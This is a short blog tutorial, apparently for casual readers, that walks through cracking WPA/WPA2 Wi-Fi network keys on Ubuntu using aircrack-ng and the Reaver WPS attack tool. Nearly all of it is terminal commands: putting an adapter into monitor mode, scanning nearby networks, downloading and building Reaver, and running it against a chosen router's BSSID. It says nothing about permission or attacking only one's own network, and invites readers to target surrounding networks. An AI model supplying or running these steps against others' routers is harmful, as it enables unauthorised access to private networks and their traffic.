Learn How to Crack Local WPA2 Wifi Network Passwords?

Last month I get lots of emails from my Indian friends that How to crack WPA/WPA2 Wifi passwords in simplest way using Ubuntu, now for that today i am here. Wifi is your wireless gateway to the internet and makes surfing even fun. Therefore today we will learn How to crack WPA2 network key using Reaver. In simple words, Reaver is a new, free, open-source tool which can exploits a security hole in wireless routers and can crack most routers' current passwords with relative ease. So lets the Crack in method below. Enjoy!

How to Crack WPA/WPA2 Network Key Using Reaver?

Inside Linux Ubuntu, Use the terminal :

1. Download aircrack-ng:

sudo apt-get install aircrack-ng

2. Put Wifi adapter into monitor mode:

sudo airmon-ng start wlan0

3. Use airodump-ng to scan for WPA/WPA2 encrypted network BSSIDs:

sudo airodump-ng mon0

4. <crtl+c> after a few seconds or once a list of BSSIDs has populated, it should look like this below:

The BSSIDs are listed on the left, these are the IDs for the various surrounding networks. Pick one which is WPA/WPA2 and uses a Public Shared Key (PSK).
Don't close this terminal, open up a new terminal and use this now instead.
READ STEPS 5-8 OR JUST COPY AND PASTE THIS INTO YOUR TERMINAL AND THEN SKIP TO STEP 9:

sudo apt-get install libsqlite3-dev && wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz && tar xfvz reaver-1.4.tar.gz && cd reaver-1.4/src/ && ./configure && make && sudo make install

5. Download and install libsqlite3-dev:

sudo apt-get install libsqlite3-dev

   6. Now Download reaver also:

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

7. Extract reaver tar.gz file:

tar xfvz reaver-1.4.tar.gz

8. Install reaver:

cd reaver-1.4/src/ && ./configure && make && sudo make install

9. Get cracking! Copy the BSSID you chose from the other open terminal and enter it in like this:

sudo reaver -i mon0 -b <paste BSSID here!!> -vv

-i mon0 = use the mon0 interface which is your wifi adapter in monitor mode.
-b "some BSSID" = the router to crack.
-vv = give very verbose output.

10. Now just wait from around 5-10 hours as it cracks the network key for you!

All Done! Thanks, any Comments are Welcomed below.

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